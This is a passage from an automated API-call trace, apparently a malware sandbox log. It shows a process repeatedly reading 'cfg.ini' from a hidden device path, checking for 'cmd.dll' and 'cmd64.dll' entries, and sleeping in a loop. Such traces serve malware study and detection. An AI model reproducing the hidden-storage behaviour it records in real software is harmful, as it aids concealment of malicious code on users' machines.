out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.651] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.651] IdePortDispatch () returned 0x103 [0130.651] KeWaitForMutexObject () returned 0x0 [0130.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.652] KeLeaveCriticalRegion () [0130.652] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.652] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.652] KeEnterCriticalRegion () [0130.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.652] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.652] KeLeaveCriticalRegion () [0130.652] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.652] KeEnterCriticalRegion () [0130.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.652] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.653] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294e070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.653] KeLeaveCriticalRegion () [0130.653] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.653] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.653] KeEnterCriticalRegion () [0130.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.653] ExFreePoolWithTag (P=0xfffffa800294ca10, Tag=0x0) [0130.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.653] KeLeaveCriticalRegion () [0130.653] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.653] ReleaseMutex (hMutex=0xf0) returned 1 [0130.653] Sleep (dwMilliseconds=0x124f80) [0130.671] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.671] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.671] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.672] KeEnterCriticalRegion () [0130.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.672] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.672] IdePortDispatch () returned 0x103 [0130.672] KeWaitForMutexObject () returned 0x0 [0130.672] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.672] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.672] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.672] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.672] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.672] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ddb0 [0130.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.672] KeLeaveCriticalRegion () [0130.672] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.672] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.672] KeEnterCriticalRegion () [0130.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.672] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.672] KeLeaveCriticalRegion () [0130.672] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.672] KeEnterCriticalRegion () [0130.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.673] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.673] IdePortDispatch () returned 0x103 [0130.673] KeWaitForMutexObject () returned 0x0 [0130.673] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.673] KeLeaveCriticalRegion () [0130.673] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.673] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.673] KeEnterCriticalRegion () [0130.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.673] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345e000 [0130.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.673] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.673] IdePortDispatch () returned 0x103 [0130.674] KeWaitForMutexObject () returned 0x0 [0130.674] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.674] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.674] IdePortDispatch () returned 0x103 [0130.674] KeWaitForMutexObject () returned 0x0 [0130.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.674] KeLeaveCriticalRegion () [0130.674] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.675] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.675] KeEnterCriticalRegion () [0130.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.675] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.675] KeLeaveCriticalRegion () [0130.675] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.675] KeEnterCriticalRegion () [0130.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.675] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.675] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d310, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.675] KeLeaveCriticalRegion () [0130.675] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.675] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.675] KeEnterCriticalRegion () [0130.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.675] ExFreePoolWithTag (P=0xfffffa800294ddb0, Tag=0x0) [0130.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.675] KeLeaveCriticalRegion () [0130.675] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.675] ReleaseMutex (hMutex=0xf0) returned 1 [0130.675] Sleep (dwMilliseconds=0x124f80) [0130.694] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.694] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.694] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.694] KeEnterCriticalRegion () [0130.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.694] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.694] IdePortDispatch () returned 0x103 [0130.695] KeWaitForMutexObject () returned 0x0 [0130.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.695] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.695] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.695] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.695] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.695] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ea00 [0130.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.695] KeLeaveCriticalRegion () [0130.695] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.695] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.695] KeEnterCriticalRegion () [0130.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.695] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.695] KeLeaveCriticalRegion () [0130.695] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.695] KeEnterCriticalRegion () [0130.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.695] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.695] IdePortDispatch () returned 0x103 [0130.696] KeWaitForMutexObject () returned 0x0 [0130.696] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.696] KeLeaveCriticalRegion () [0130.696] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.696] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.696] KeEnterCriticalRegion () [0130.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.696] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003483000 [0130.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.696] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.696] IdePortDispatch () returned 0x103 [0130.696] KeWaitForMutexObject () returned 0x0 [0130.696] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.696] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.696] IdePortDispatch () returned 0x103 [0130.697] KeWaitForMutexObject () returned 0x0 [0130.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.697] KeLeaveCriticalRegion () [0130.697] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.697] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.697] KeEnterCriticalRegion () [0130.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.697] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.697] KeLeaveCriticalRegion () [0130.697] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.697] KeEnterCriticalRegion () [0130.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.698] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.698] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294e070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.698] KeLeaveCriticalRegion () [0130.698] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.698] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.698] KeEnterCriticalRegion () [0130.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.698] ExFreePoolWithTag (P=0xfffffa800294ea00, Tag=0x0) [0130.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.698] KeLeaveCriticalRegion () [0130.698] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.698] ReleaseMutex (hMutex=0xf0) returned 1 [0130.698] Sleep (dwMilliseconds=0x124f80) [0130.716] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.716] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.716] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.716] KeEnterCriticalRegion () [0130.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.716] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.716] IdePortDispatch () returned 0x103 [0130.717] KeWaitForMutexObject () returned 0x0 [0130.717] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.717] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.717] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.717] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.717] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.717] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002845ba0 [0130.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.717] KeLeaveCriticalRegion () [0130.717] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.717] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.717] KeEnterCriticalRegion () [0130.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.717] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.717] KeLeaveCriticalRegion () [0130.717] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.717] KeEnterCriticalRegion () [0130.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.717] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.717] IdePortDispatch () returned 0x103 [0130.717] KeWaitForMutexObject () returned 0x0 [0130.718] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.718] KeLeaveCriticalRegion () [0130.718] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.718] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.718] KeEnterCriticalRegion () [0130.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.718] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003489000 [0130.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.718] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.718] IdePortDispatch () returned 0x103 [0130.718] KeWaitForMutexObject () returned 0x0 [0130.718] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.718] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.718] IdePortDispatch () returned 0x103 [0130.719] KeWaitForMutexObject () returned 0x0 [0130.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.719] KeLeaveCriticalRegion () [0130.719] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.719] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.719] KeEnterCriticalRegion () [0130.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.719] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.719] KeLeaveCriticalRegion () [0130.720] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.720] KeEnterCriticalRegion () [0130.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.720] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.720] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d310, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.720] KeLeaveCriticalRegion () [0130.720] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.720] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.720] KeEnterCriticalRegion () [0130.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.720] ExFreePoolWithTag (P=0xfffffa8002845ba0, Tag=0x0) [0130.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.720] KeLeaveCriticalRegion () [0130.720] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.720] ReleaseMutex (hMutex=0xf0) returned 1 [0130.720] Sleep (dwMilliseconds=0x124f80) [0130.739] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.739] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.739] 